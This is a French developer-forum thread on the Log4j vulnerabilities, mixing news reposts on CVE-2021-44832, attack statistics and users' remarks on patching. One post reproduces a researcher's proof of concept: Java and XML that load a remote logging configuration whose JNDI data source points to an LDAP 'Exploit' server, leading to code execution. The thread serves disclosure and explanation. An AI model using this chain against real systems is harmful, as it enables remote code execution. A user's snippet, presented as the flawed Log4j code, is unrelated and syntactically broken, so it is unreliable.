Discussion :

[TotoParis]

En voilà une qui devrait alarmer encore plus en ces temps de télétravail :

https://portswigger.net/daily-swig/m...k-ip-addresses

Extrait : "Bräunlein told The Daily Swig: “An attacker could use the SSRF to scan for internal HTTP(s) services and send requests with the Log4Shell payload in the request URI to all of them to try to exploit vulnerable services that are not reachable from the internet.”"

[A3gisS3c]

Ah le sale gosse ! Gros prétentieux en plus !
Bonhomme, si c'était aussi simple. Les YAKA-FAUKON...on en a plein !

Non sans déconner deux semaines qu'on en parle, qu'on est averti par l'ANSSI et autre organisme à tous les étages... OK ils n'ont pas les moyens de déployer un IPS, un EDR ni même de patcher leur truc. Mais sérieux tu coupes au minimum tous tes flux de sortie ou tu filtres drastiquement via de simples règles firewall, tu ne laisses pas un gros ANY.

[Escapetiger]

Nous sommes dans un forum spécialisé mais tout de même pour une question de clarté avec tous ces sigles :

IPS
« Un système de prévention d'intrusion (ou IPS, intrusion prevention system) est un outil des spécialistes en sécurité des systèmes d'information, similaire aux systèmes de détection d'intrusion (ou IDS, intrusion detection system), permettant de prendre des mesures afin de diminuer les impacts d'une attaque. C'est un IDS actif, il peut par exemple détecter un balayage automatisé malveillant, et bloquer les ports.

Les IPS peuvent donc parer les attaques connues et inconnues. Comme les IDS, ils ne sont pas fiables à 100 % et risquent même en cas de faux positif de bloquer du trafic légitime.
(.../...) »

EDR
« Un logiciel de type EDR désigne une technologie émergente de détection des menaces sur les EndPoints (ordinateurs, serveurs). Ce terme Endpoint Detection and Response (EDR), est utilisé pour la première fois en juillet 2013 par Anton Chuvakin1 de la société Gartner.
(.../...)
Combiné avec un moteur basé sur de l'intelligence artificielle, le logiciel EDR est très réactif dans la détection et l'arrêt de menaces (Malwares, virus, attaques zero Day, menaces persistantes avancées, ...). L'intelligence artificielle lui permet d'être auto-apprenant et de ne pas devoir se connecter sur internet pour mettre à jour des bases de données.
»

Sources Wikipedia :

Système de prévention d'intrusion

Endpoint detection and response

[sekaijin]

Lister les dépendances par transitivité pour connaitre les projet "Potentiellement" impactés
N'est en soit pas très compliqué mais très largement insuffisant surtout si on fait ça sur maven central.
En effet Maven Central garde aussi toute les vielles versions donc même s'il y a eu des corrections les version non corrigé restent.

On peut très vite avoir des chiffres énorme sans pour autant que ce soit la cata.

Quant à ce que que j'ai lu ici sur YAKAFOKON c'est très loin d'être si facile. Je m'occupe d'un outil qui est composé de centaines d'éléments divers avec un chargement dynamique la bête a tourné 8 ans sans interruption, avec des mise à jour à chaud, un changement de serveur physique à chaud (juste des arrêts partiels de certain composants quelques minutes).
Arriver à qualifier la compatibilité de plusieurs centaines de composants est un très long travail. Il nous est déjà arrivé de revenir en arrière après plusieurs mois de travail parce qu'un composants n'était plus compatible avec l'ensemble.

Quant à l'approche de google si j'avais suivi la même approche j'aurais à ce jour environs 200 projet impactés.
Hors tous dépendent d'une librairie qui est compilé avec log4j (donc une dépendance). Mais cette librairie importe une partie seulement de log4j et supprime tout le code inutile. La partie impactée par le PB de sécurité n'est plus dans le code de la lib. les 200 projets ne sont donc pas impactés.

à contraio je suis tombé sur un dev qui importe par transitivité un clone de log4j qui lui embarque le code en question et là l'approche de Google ne l'a pas trouvé et pour cause. Ouf il s'agissait d'un démonstrateur pas de prod.

Donc à tous les YAKAFOKON Oui il est très simple dans le gestionnaire de dépendance de surcharger la version de log4j pour en choisir une non impactée.
Mais sur les millions de lignes de code comment garantir que ce changement ne va pas introduire de bug ?
On pourrait imaginer que finalement ce ne sont que des log c'est pas si grave si on n'a pas la trace tant que le prog fonctionne mais voilà un changement de version de log4j sans précaution et up un nullpointerexception dans un log.info et le prog ne fonctionne plus.

Il n'y a rien de simple. C'est un travail permanent, une vigilance, et des mois de tests pour valider un assemblage.

A+JYT

[TotoParis]

Je viens de télécharger, par pure curiosité, la dernière version de LOG4J du site APACHE, et quand je vois le nombre de dossiers et de fichiers dans les dossiers, je comprend que la maintenance du machin ne soit pas des plus simple...La commande qui suit me retourne 7962. Il y a donc 7962 composants source, c'est bien ça ?

grep -r ".java" apache-log4j-2.17.0-src | wc -l

Et tout àa comme répertoires (et sous-répertoires) :
total 464
0 drwxr-xr-x@ 74 xxxxxxxxxxxxxxxxxxx staff 2516 28 déc 14:23 ./
0 drwx------+ 12 xxxxxxxxxxxxxxxxxxx staff 408 28 déc 14:08 ../
32 -rw-r--r--@ 1 xxxxxxxxxxxxxxxxxxx staff 14340 28 déc 14:09 .DS_Store
8 -rw-r--r--@ 1 xxxxxxxxxxxxxxxxxxx staff 902 25 oct 2020 .dockerignore
0 drwxr-xr-x@ 5 xxxxxxxxxxxxxxxxxxx staff 170 28 déc 14:08 .github/
8 -rw-r--r--@ 1 xxxxxxxxxxxxxxxxxxx staff 4 5 déc 20:54 .java-version
0 drwxr-xr-x@ 4 xxxxxxxxxxxxxxxxxxx staff 136 28 déc 14:08 .mvn/
8 -rw-r--r--@ 1 xxxxxxxxxxxxxxxxxxx staff 2546 5 déc 20:54 BUILDING.md
8 -rw-r--r--@ 1 xxxxxxxxxxxxxxxxxxx staff 3786 25 oct 2020 CONTRIBUTING.md
24 -rw-r--r--@ 1 xxxxxxxxxxxxxxxxxxx staff 11366 25 oct 2020 LICENSE.txt
8 -rw-r--r--@ 1 xxxxxxxxxxxxxxxxxxx staff 413 5 déc 20:54 NOTICE.txt
8 -rw-r--r--@ 1 xxxxxxxxxxxxxxxxxxx staff 4094 20 nov 14:52 README.md
16 -rw-r--r--@ 1 xxxxxxxxxxxxxxxxxxx staff 4489 17 déc 18:43 RELEASE-NOTES.md
8 -rw-r--r--@ 1 xxxxxxxxxxxxxxxxxxx staff 466 5 déc 20:54 SECURITY.md
8 -rw-r--r--@ 1 xxxxxxxxxxxxxxxxxxx staff 801 25 oct 2020 checkstyle-header.txt
8 -rw-r--r--@ 1 xxxxxxxxxxxxxxxxxxx staff 3061 25 oct 2020 checkstyle-import-control.xml
8 -rw-r--r--@ 1 xxxxxxxxxxxxxxxxxxx staff 993 25 oct 2020 checkstyle-suppressions.xml
24 -rw-r--r--@ 1 xxxxxxxxxxxxxxxxxxx staff 10585 25 oct 2020 checkstyle.xml
40 -rw-r--r--@ 1 xxxxxxxxxxxxxxxxxxx staff 18868 20 nov 14:52 doap_log4j2.rdf
8 -rw-r--r--@ 1 xxxxxxxxxxxxxxxxxxx staff 1258 4 avr 2021 findbugs-exclude-filter.xml
8 -rw-r--r--@ 1 xxxxxxxxxxxxxxxxxxx staff 1643 5 déc 20:54 jenkins-toolchains-win.xml
8 -rw-r--r--@ 1 xxxxxxxxxxxxxxxxxxx staff 1651 5 déc 20:54 jenkins-toolchains.xml
0 -rw-r--r-- 1 xxxxxxxxxxxxxxxxxxx staff 0 28 déc 14:23 liste.txt
0 drwxr-xr-x@ 5 xxxxxxxxxxxxxxxxxxx staff 170 28 déc 14:08 log4j-1.2-api/
0 drwxr-xr-x@ 5 xxxxxxxxxxxxxxxxxxx staff 170 28 déc 14:08 log4j-api/
0 drwxr-xr-x@ 4 xxxxxxxxxxxxxxxxxxx staff 136 28 déc 14:08 log4j-api-java9/
0 drwxr-xr-x@ 2 xxxxxxxxxxxxxxxxxxx staff 68 20 nov 14:58 log4j-api-scala_2.10/
0 drwxr-xr-x@ 2 xxxxxxxxxxxxxxxxxxx staff 68 20 nov 14:58 log4j-api-scala_2.11/
0 drwxr-xr-x@ 4 xxxxxxxxxxxxxxxxxxx staff 136 28 déc 14:08 log4j-appserver/
0 drwxr-xr-x@ 3 xxxxxxxxxxxxxxxxxxx staff 102 28 déc 14:08 log4j-bom/
0 drwxr-xr-x@ 5 xxxxxxxxxxxxxxxxxxx staff 170 28 déc 14:08 log4j-cassandra/
0 drwxr-xr-x@ 5 xxxxxxxxxxxxxxxxxxx staff 170 28 déc 14:08 log4j-core/
0 drwxr-xr-x@ 4 xxxxxxxxxxxxxxxxxxx staff 136 28 déc 14:08 log4j-core-its/
0 drwxr-xr-x@ 4 xxxxxxxxxxxxxxxxxxx staff 136 28 déc 14:08 log4j-core-java9/
0 drwxr-xr-x@ 4 xxxxxxxxxxxxxxxxxxx staff 136 28 déc 14:08 log4j-couchdb/
0 drwxr-xr-x@ 4 xxxxxxxxxxxxxxxxxxx staff 136 28 déc 14:08 log4j-distribution/
0 drwxr-xr-x@ 4 xxxxxxxxxxxxxxxxxxx staff 136 28 déc 14:08 log4j-docker/
0 drwxr-xr-x@ 4 xxxxxxxxxxxxxxxxxxx staff 136 28 déc 14:08 log4j-flume-ng/
0 drwxr-xr-x@ 4 xxxxxxxxxxxxxxxxxxx staff 136 28 déc 14:08 log4j-iostreams/
0 drwxr-xr-x@ 5 xxxxxxxxxxxxxxxxxxx staff 170 28 déc 14:08 log4j-jakarta-web/
0 drwxr-xr-x@ 4 xxxxxxxxxxxxxxxxxxx staff 136 28 déc 14:08 log4j-jcl/
0 drwxr-xr-x@ 4 xxxxxxxxxxxxxxxxxxx staff 136 28 déc 14:08 log4j-jdbc-dbcp2/
0 drwxr-xr-x@ 4 xxxxxxxxxxxxxxxxxxx staff 136 28 déc 14:08 log4j-jmx-gui/
0 drwxr-xr-x@ 5 xxxxxxxxxxxxxxxxxxx staff 170 28 déc 14:08 log4j-jpa/
0 drwxr-xr-x@ 4 xxxxxxxxxxxxxxxxxxx staff 136 28 déc 14:08 log4j-jpl/
0 drwxr-xr-x@ 4 xxxxxxxxxxxxxxxxxxx staff 136 28 déc 14:08 log4j-jul/
0 drwxr-xr-x@ 4 xxxxxxxxxxxxxxxxxxx staff 136 28 déc 14:08 log4j-kubernetes/
0 drwxr-xr-x@ 5 xxxxxxxxxxxxxxxxxxx staff 170 28 déc 14:08 log4j-layout-template-json/
0 drwxr-xr-x@ 4 xxxxxxxxxxxxxxxxxxx staff 136 28 déc 14:08 log4j-liquibase/
0 drwxr-xr-x@ 4 xxxxxxxxxxxxxxxxxxx staff 136 28 déc 14:08 log4j-mongodb3/
0 drwxr-xr-x@ 4 xxxxxxxxxxxxxxxxxxx staff 136 28 déc 14:08 log4j-mongodb4/
0 drwxr-xr-x@ 2 xxxxxxxxxxxxxxxxxxx staff 68 20 nov 14:58 log4j-nosql/
0 drwxr-xr-x@ 5 xxxxxxxxxxxxxxxxxxx staff 170 28 déc 14:08 log4j-osgi/
0 drwxr-xr-x@ 4 xxxxxxxxxxxxxxxxxxx staff 136 28 déc 14:08 log4j-perf/
0 drwxr-xr-x@ 8 xxxxxxxxxxxxxxxxxxx staff 272 28 déc 14:08 log4j-samples/
0 drwxr-xr-x@ 4 xxxxxxxxxxxxxxxxxxx staff 136 28 déc 14:08 log4j-slf4j-impl/
0 drwxr-xr-x@ 4 xxxxxxxxxxxxxxxxxxx staff 136 28 déc 14:08 log4j-slf4j18-impl/
0 drwxr-xr-x@ 4 xxxxxxxxxxxxxxxxxxx staff 136 28 déc 14:08 log4j-spring-boot/
0 drwxr-xr-x@ 6 xxxxxxxxxxxxxxxxxxx staff 204 28 déc 14:08 log4j-spring-cloud-config/
0 drwxr-xr-x@ 5 xxxxxxxxxxxxxxxxxxx staff 170 28 déc 14:08 log4j-taglib/
0 drwxr-xr-x@ 4 xxxxxxxxxxxxxxxxxxx staff 136 28 déc 14:08 log4j-to-slf4j/
0 drwxr-xr-x@ 5 xxxxxxxxxxxxxxxxxxx staff 170 28 déc 14:08 log4j-web/
24 -rwxr-xr-x@ 1 xxxxxxxxxxxxxxxxxxx staff 10069 5 déc 20:54 mvnw*
16 -rw-r--r--@ 1 xxxxxxxxxxxxxxxxxxx staff 6789 5 déc 20:54 mvnw.cmd
136 -rw-r--r--@ 1 xxxxxxxxxxxxxxxxxxx staff 69291 17 déc 18:50 pom.xml
0 drwxr-xr-x@ 6 xxxxxxxxxxxxxxxxxxx staff 204 25 oct 2020 src/
8 -rw-r--r--@ 1 xxxxxxxxxxxxxxxxxxx staff 1380 4 avr 2021 toolchains-docker.xml
8 -rw-r--r--@ 1 xxxxxxxxxxxxxxxxxxx staff 2833 5 déc 20:54 toolchains-jenkins-ubuntu.xml
8 -rw-r--r--@ 1 xxxxxxxxxxxxxxxxxxx staff 2807 5 déc 20:54 toolchains-jenkins-win.xml
8 -rw-r--r--@ 1 xxxxxxxxxxxxxxxxxxx staff 1648 4 avr 2021 toolchains-sample-linux.xml
8 -rw-r--r--@ 1 xxxxxxxxxxxxxxxxxxx staff 1709 4 avr 2021 toolchains-sample-mac.xml
8 -rw-r--r--@ 1 xxxxxxxxxxxxxxxxxxx staff 1643 5 déc 20:54 toolchains-sample-win.xml
0 -rw-r--r--@ 1 xxxxxxxxxxxxxxxxxxx staff 0 11 déc 15:55 velocity.log
0 drwxr-xr-x@ 4 xxxxxxxxxxxxxxxxxxx staff 136 28 déc 14:08 workflows/

[marsupial]

Ci-dessous le code qui pose souci dans le composant JNDI de Log4j :

Code java :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
  protected JndiReply invokeReadRequest(RequestContext reqCtx) 
    throws NamingException {
    if (Trace.logger.isLoggable(BasicLevel.DEBUG))
      Trace.logger.log(BasicLevel.DEBUG, 
                       "RequestManager.invokeReadRequest(" + reqCtx + ')');
    JndiRequest request = reqCtx.getRequest();
    if (request instanceof LookupRequest) {
      Object obj = lookup((LookupRequest)request) throws NamingException; // code sécurisé
      if (obj != null) {
        ObjectRecord or = (ObjectRecord)obj;
        return new LookupReply(or.getObject());
      } else {
        // This is a context record
        return new JndiReply();
      }
    } else if (request instanceof ListBindingsRequest) {
      Object obj = listBindings((ListBindingsRequest)request);
      return new ListBindingsReply((Binding[])obj);
    } else if (request instanceof ListRequest) {
      Object obj = list((ListRequest)request);
      return new ListReply((NameClassPair[])obj);
    } else {
      return new JndiError(
        new NamingException("Unknown operation"));
    }
  }

[Stéphane le calme]

Une quatrième vulnérabilité découverte dans la bibliothèque de journalisation Log4J,
les utilisateurs sont conviés à passer à la version 2.17.1

Apache a publié une autre version de Log4j, la version 2.17.1, qui corrige une vulnérabilité d'exécution de code à distance (RCE) nouvellement découverte dans Log4j 2.17.0, suivie comme CVE-2021-44832. Avant celle-ci, Log4j 2.17.0 était la version la plus récente de Log4j et était considérée comme la version la plus sûre pour la mise à niveau, mais ce conseil a maintenant évolué.

Log4j est une bibliothèque de journalisation open source basée sur Java utilisée dans des millions d'applications. Plus tôt ce mois-ci, une vulnérabilité dans Log4J a été découverte. Elle permet à un attaquant de provoquer une exécution de code arbitraire à distance s'il a la capacité de soumettre une donnée à une application qui utilise la bibliothèque log4j pour journaliser l'évènement. Cette attaque peut être réalisée sans être authentifié, par exemple en tirant parti d'une page d'authentification qui journalise les erreurs d'authentification. Les entreprises spécialisées en cybersécurité ont indiqué que le nombre d'attaques profitant de cette faille se multiplient. Les membres de l’Apache Software Fondation ont développé un patch en catastrophe pour corriger la vulnérabilité, la version 2.15.0. Des contournements sont également possibles pour réduire les risques.

Mais les chercheurs ont signalé qu'il existe au moins deux vulnérabilités dans le correctif, publié sous le nom de Log4J 2.15.0, et que les attaquants exploitent activement l'une d'entre elles ou les deux contre des cibles du monde réel qui ont déjà appliqué la mise à jour. Les chercheurs ont exhorté les organisations à installer un nouveau correctif, publié en tant que version 2.16.0, dès que possible pour corriger la vulnérabilité, qui est suivie comme CVE-2021-45046.

Le correctif précédent, ont déclaré les chercheurs, « était incomplet dans certaines configurations autres que celles par défaut » et permettait aux attaquants d'effectuer des attaques par déni de service, ce qui facilite généralement la mise hors ligne des services vulnérables jusqu'à ce que les victimes redémarrent leur serveurs ou prennent d'autres mesures. La version 2.16.0 « résout ce problème en supprimant la prise en charge des modèles de recherche de messages et en désactivant la fonctionnalité JNDI par défaut », selon l'avis de vulnérabilité lié ci-dessus.

La version 2.15.0 ne résolvait pas un autre problème - CVE-2021-45046 - qui permettait à un attaquant distant contrôlant le Thread Context Map (MDC) de préparer une entrée malveillante à l'aide d'un modèle de recherche JNDI. Le résultat pourrait être l'exécution de code à distance, heureusement pas dans tous les environnements.

La version 2.16.0 a résolu ce problème. Mais elle n'a pas corrigé CVE-2021-45105, que l'Apache Software Foundation décrit comme suit :

« Les versions 2.0-alpha1 à 2.16.0 d'Apache Log4j2 ne protégeaient pas contre la récursivité incontrôlée des recherches auto-référentielles. Lorsque la configuration de la journalisation utilise une disposition de modèle autre que celle par défaut avec une recherche de contexte (par exemple, $${ctx:loginId}), les attaquants contrôlant les données d'entrée de Thread Context Map (MDC) peuvent créer des données d'entrée malveillantes contenant une recherche récursive, ce qui entraîne une StackOverflowError qui mettra fin au processus. Ceci est également connu sous le nom d'attaque DOS (Denial of Service) ».

Le programme de primes de bogues indépendant des fournisseurs, Zero Day Initiative, a décrit la faille comme suit :

« Lorsqu'une variable imbriquée est remplacée par la classe StrSubstitutor, elle appelle récursivement la classe substitut(). Cependant, lorsque la variable imbriquée fait référence à la variable à remplacer, la récursivité est appelée avec la même chaîne. Cela conduit à une récursivité infinie et à une condition DoS sur le serveur ».

L'ASF a également décrit les mesures d'atténuation suivantes :
Dans PatternLayout dans la configuration de la journalisation, remplacez les recherches de contexte comme ${ctx:loginId} ou $${ctx:loginId} par les modèles de mappe de contexte de thread (%X, %mdc ou %MDC) .
Sinon, dans la configuration, supprimez les références aux recherches contextuelles telles que ${ctx:loginId} ou $${ctx:loginId} lorsqu'elles proviennent de sources externes à l'application telles que les en-têtes HTTP ou les entrées utilisateur.

La faille a été corrigée dans Log4j 2.17.0 (Java 8).

Une nouvelle mise à jour est disponible

Un autre bogue critique d'exécution de code à distance qui est maintenant suivi en tant que CVE-2021-44832 a été découvert dans la même bibliothèque de journalisation Apache Log4j. Il s'agit de la quatrième vulnérabilité de la bibliothèque Log4j.

Classé «*modéré*» en gravité avec un score de 6,6 sur l'échelle CVSS, la vulnérabilité provient du manque de contrôles supplémentaires sur l'accès JDNI dans log4j.

« JDBC Appender doit utiliser JndiManager lors de l'accès à JNDI. L'accès JNDI doit être contrôlé via une propriété système », est-il indiqué sur la description du problème. «*Lié à CVE-2021-44832 où un attaquant autorisé à modifier le fichier de configuration de journalisation peut construire une configuration malveillante à l'aide d'un appender JDBC avec une source de données référençant un URI JNDI qui peut exécuter du code à distance.*»

L'équipe de sécurité d'Apache a publié une autre version d'Apache Log4J (version 2.17.1) corrigeant le bogue d'exécution de code à distance CVE-2021-44832 récemment découvert. C'est une autre mauvaise situation pour la plupart des utilisateurs, mais, encore une fois, il est fortement recommandé de mettre son système à jour pour résoudre ce problème critique.

Le chercheur en sécurité de Checkmarx, Yaniv Nizry, a revendiqué le mérite d'avoir signalé la vulnérabilité d'Apache*:

Le tweet de Nizry a rapidement été relayé, attirant des remarques et des mèmes d'experts en sécurité et de «*victimes*» de la fatigue continue des correctifs log4j.

« J'espère que c'est une blague, j'espère tellement... #log4j », a tweeté un utilisateur en réponse.

« Nous avons LONGTEMPS dépassé le point où la seule chose responsable à faire est de mettre en place une enseigne au néon clignotante géante qui dit "LOG4J NE PEUT PAS ÊTRE RÉPARÉ, NE L'UTILISEZ PAS POUR RIEN" », a raillé un autre.

L'expert en sécurité Kevin Beaumont a qualifié l'instance d'autre «*divulgation ratée de Log4j*» pendant la période des congés.

Une divulgation trop rapide ?

Au moment du tweet de Nizry, il n'y avait pas encore d'avis ou de mémo officiel indiquant la présence d'un bogue RCE dans log4j 2.17.

Le tweet lui-même ne contenait aucun détail sur la vulnérabilité ou sur la manière dont elle pourrait être exploitée, mais, en quelques minutes, a conduit un groupe de professionnels de la sécurité et d'internautes à commencer à enquêter sur la réclamation.

La divulgation prématurée des vulnérabilités de sécurité peut inciter les acteurs malveillants à mener des activités d'analyse et d'exploitation malveillantes, comme en témoigne la fuite d'exploit Log4Shell du 9 décembre.

Marc Rogers, vice-président de la cybersécurité chez Okta a d'abord révélé l'identifiant de la vulnérabilité (CVE-2021-44832) et que l'exploitation du bogue dépend d'une configuration log4j autre que celle par défaut où la configuration est chargée à partir d'un serveur distant*:

Jusqu'à présent, les vulnérabilités de log4j ont été exploitées par toutes sortes d'acteurs malveillants, des pirates informatiques soutenus par des États aux gangs de ransomware et autres pour injecter des mineurs Monero sur des systèmes vulnérables.

Le gang de ransomware Conti a été surpris en train de surveiller des serveurs VMWare vCenter vulnérables. Les attaquants qui ont violé la plateforme de cryptographie vietnamienne, ONUS, via log4shell ont exigé une rançon de 5 millions de dollars.

Les utilisateurs de Log4j doivent immédiatement passer à la dernière version 2.17.1 (pour Java 8). Les versions rétroportées 2.12.4 (Java 7) et 2.3.2 (Java 6) contenant le correctif devraient également être publiées sous peu.

Détails techniques de la nouvelle faille

Yaniv Nizry, un chercheur de la société de sécurité Checkmarx a découvert cette vulnérabilité RCE :

« Étant des chercheurs extrêmement concentrés et dévoués, nous voulions faire nous-mêmes un audit de sécurité sur le package log4j dans l'espoir de trouver quelque chose d'intéressant. Et après une semaine d'examen du code et de tests, nous avons rencontré une nouvelle vulnérabilité de sécurité de désérialisation non découverte. Cette vulnérabilité n'utilise pas la fonction de recherche désactivée. La complexité de cette vulnérabilité est plus élevée que la CVE-2021-44228 d'origine car elle nécessite que l'attaquant ait le contrôle de la configuration (comme la vulnérabilité «*logback*» CVE-2021-42550). Contrairement à logback, dans log4j, il existe une fonctionnalité permettant de charger un fichier de configuration à distance ou de configurer l'enregistreur via le code, de sorte qu'une exécution de code arbitraire pourrait être réalisée avec une attaque MITM, l'entrée de l'utilisateur se retrouvant dans une variable de configuration vulnérable ou en modifiant le fichier de configuration.

« En examinant les fonctionnalités de log4j, nous sommes tombés sur les fonctionnalités «*Appender*». Les appenders sont essentiellement l'endroit où sortir les journaux, nous avons donc par exemple ConsoleAppender, FileAppender, etc.

« Le JDBCAppender a attiré notre attention car il existe des moyens publics d'obtenir RCE via la désérialisation Java JDBC (voir cette conférence Blackhat de Yongtao Wang, Lucas Zhang et Kunzhe Chai pour plus d'informations.)

« Mais avant d'aborder la désérialisation JDBC dans log4j, nous avons remarqué que dans la documentation il existe un moyen de configurer log4j pour qu'il récupère la source de la base de données dynamiquement et à distance via JNDI ».

Il a également donné des étapes à reproduire, notamment la récupération de la configuration à distance via HTTP*:

Code Java :

Sélectionner tout - Visualiser dans une fenêtre à part

System.setProperty("log4j2.configurationFile","http://127.0.0.1:8888/log4j2.xml");

En utilisant le même serveur LDAP (Lightweight Directory Access Protocol) que dans le PoC (Proof of Concept) CVE-2021-44228, tout ce que nous avons à faire est d'exécuter*:

Code Java :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//log4j.java
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
 
public class log4j {
    static {
        System.setProperty("log4j2.configurationFile","http://127.0.0.1:8888/log4j2.xml");
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
    }
    private static final Logger logger = LogManager.getLogger(log4j.class);
 
    public static void main(String[] args) {
    }
}

Et pour servir le log4j2.xml suivant*:

Code XML :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="error">
    <Appenders>
        <JDBC name="databaseAppender" tableName="dbo.application_log">
            <DataSource jndiName="ldap://127.0.0.1:1389/Exploit" />
            <Column name="eventDate" isEventTimestamp="true" />
            <Column name="level" pattern="%level" />
            <Column name="logger" pattern="%logger" />
            <Column name="message" pattern="%message" />
            <Column name="exception" pattern="%ex{full}" />
        </JDBC>
    </Appenders>
    <Loggers>
        <Root level="warn">
            <AppenderRef ref="databaseAppender"/>
        </Root>
    </Loggers>
</Configuration>

Quels résultats attendre ? Lors de l'initialisation de l'objet logger, une requête au log4j2.xml distant sera effectuée. Dans le processus de chargement, une tentative de chargement de l'objet DataSource fera une requête au serveur LDAP qui redirigera alors vers une classe malveillante. À la fin, la classe arbitraire sera désérialisée et exécutée.

Pourquoi est-ce critique ? « L'impact de la vulnérabilité log4shell (alias CVE-2021-44228) sur l'industrie était important, et un large éventail d'organisations ont déclaré avoir été affectées. Cela démontre la grande échelle des entreprises qui utilisent log4j dans leurs écosystèmes. L'équipe log4j d'Apache a travaillé dur pour ajouter des correctifs de sécurité à la dernière version de log4j (2.17.0) pour désactiver les recherches et autoriser une liste de protocoles/hôtes. Comme vous pouvez le voir, en utilisant un vecteur d'attaque différent, il est toujours possible de réaliser une exécution de code arbitraire en utilisant la configuration par défaut ».

Source : Checkmarx

[Markand]

4 vulnérabilités pour une bibliothèque de logs. C'est le problème de la communauté Java, l'over engineering à outrance. Quand tu vois que log4j est capable de se connecter à une base de données tu as des questions à te poser.

[Sandra Coret]

Les cyberattaques ont augmenté de 50 % en 2021 et atteint un pic en décembre, à cause de la faille qui a impacté la bibliothèque logicielle Log4J, d'après une analyse Check Point Research

En ce début d’année, Check Point Research (CPR) partage les statistiques mondiales des augmentations de cyberattaques observées en 2021 par région, pays et industrie. L'année dernière, CPR a constaté une augmentation de 50 % des cyberattaques par semaine sur les réseaux d'entreprise par rapport à 2020, avec un pic en décembre, en grande partie dû à la faille de sécurité qui a impacté Log4J.

Les pirates ont surtout ciblé l'Afrique, l'Asie-Pacifique et l'Amérique latine, mais l'Europe a connu la plus forte augmentation en pourcentage des cyberattaques d'une année sur l'autre. Le secteur de l'éducation et de la recherche est le plus ciblé au monde.

• Les cyberattaques contre le secteur de l'éducation et de la recherche ont augmenté de 75 % en 2021.
• Les cyberattaques contre le secteur public ont augmenté de 47 % en 2021.
• Les cyberattaques contre le secteur de la santé ont augmenté de 71 % en 2021.

Check Point Research (CPR) partage les statistiques mondiales des augmentations des cyberattaques contre les organisations en 2021 par région, pays et secteur d'activité. L'année dernière, CPR a constaté 50 % de cyberattaques en plus par semaine sur les réseaux d'entreprise par rapport à 2020. La tendance à l'augmentation des cyberattaques a atteint un niveau record fin 2021 après les révélations de l'exploit Log4J, avec un pic à 925 cyberattaques par semaine et par organisation, au niveau mondial.

Les secteurs les plus ciblés par les pirates informatiques dans le monde en 2021

1 - Enseignement/Recherche (+75%)
2 - Gouvernement/Militaire (+47%)
3 - Communications (+51%)
4 - ISP/MSP (67%)
5 - Santé (71%)

Régions les plus visées

1 - Afrique (+13%)
2 - Asie Pacifique (+25%)
3 - Amérique Latine
4 - Europe (+68%)
5 - Amérique du Nord (+61%)

Déclaration d'Omer Dembinsky, responsable de la recherche sur les données, chez Check Point Software :

« Les pirates informatiques ne cessent d'innover. L'année dernière, nous avons constaté une augmentation stupéfiante de 50 % des cyberattaques perpétrées chaque semaine, sur les réseaux d'entreprise par rapport à 2020 - c'est une augmentation considérable. Le nombre de cyberattaques a atteint un pic vers la fin de l'année, en grande partie en raison de la faille de sécurité qui a touché la bibliothèque Log4J. Grâce aux nouvelles techniques d’intrusion et aux méthodes d'évasion, les pirates peuvent désormais mettre plus facilement à exécution leurs intentions malveillantes. Ce qui est plus alarmant, c'est que certains secteurs essentiels de la société (les OIV) figurent dans la liste des cibles. Les secteurs de l'éducation, de l'administration et de la santé figurent dans le top 5 des secteurs les plus attaqués au niveau mondial. Je m'attends à ce que ces chiffres augmentent en 2022, car les pirates continueront d'innover et de trouver de nouvelles méthodes pour exécuter des cyberattaques, en particulier des ransomwares. Pour ainsi dire, nous sommes dans une cyber pandémie. J'invite instamment le public, et en particulier les personnes travaillant dans les secteurs de l'éducation, de l'administration et de la santé, à se familiariser avec les principes de base de la cyber protection. Des mesures simples telles que l'application de correctifs, la segmentation des réseaux et la formation des employés peuvent contribuer grandement à rendre le monde plus sûr. »

Conseils de sécurité :

• Prévenir
• Tout sécuriser
• Appliquer régulièrement des correctifs
• Segmenter les réseaux
• Former les employés
• Installer des technologies de sécurité avancées

Les données utilisées dans ce rapport ont été détectées par les technologies Threat Prevention de Check Point, puis stockées et analysées dans ThreatCloud. ThreatCloud fournit des renseignements sur les menaces en temps réel provenant de centaines de millions de capteurs dans le monde entier, sur les réseaux, les terminaux et les mobiles. ThreatCloud est en fait le cerveau qui se cache derrière la puissance de prévention des menaces de Check Point Software, il combine les renseignements sur les menaces du Big Data avec des technologies avancées d'IA pour fournir une prévention précise à tous les clients de Check Point Software.

Source : Check Point Research

Et vous ?

Trouvez-vous cette analyse pertinente ?

Voir aussi :

95 000 cyberattaques ont été recensées cette année, une augmentation de 45 398 par rapport à 2020, les grandes entreprises étant les plus ciblées, selon Orange Cyberdefense

Les ransomwares ont augmenté de 62 % depuis 2019, avec un pic de 158 % en Amérique du Nord, les cybercriminels utilisant des tactiques plus sophistiquées et des variantes plus dangereuses comme Ryuk

Les entreprises de taille moyenne sont 490 % plus susceptibles d'être victimes d'une atteinte à la vie privé, dû au manque de ressources et au coût élevé des expertises, selon Coro

[Stéphane le calme]

Log4j : la directrice du CISA s'attend à des retombées de la faille qui vont s'étendre sur des années
et servir à des intrusions futures dans les systèmes des entreprises

Les professionnels de la sécurité seront confrontés aux retombées du bogue Log4j pendant longtemps, ont déclaré lundi de hauts responsables de la Cybersecurity and Infrastructure Security Agency (CISA). Si elle n'est pas corrigée ou autrement non corrigée, la faille de sécurité majeure découverte il y a un mois dans la bibliothèque de journalisation Java Apache Log4j présente des risques pour d'énormes pans d'Internet. La vulnérabilité du logiciel largement utilisé pourrait être exploitée par des cyberattaquants pour s'emparer de serveurs informatiques, mettant potentiellement tout, de l'électronique grand public aux systèmes gouvernementaux et d'entreprise, en danger de cyberattaque.

Le 9 décembre, une vulnérabilité a été découverte dans la bibliothèque de journalisation Apache log4j. Cette bibliothèque est très souvent utilisée dans les projets de développement d'application Java/J2EE ainsi que par les éditeurs de solutions logicielles sur étagère basées sur Java/J2EE.

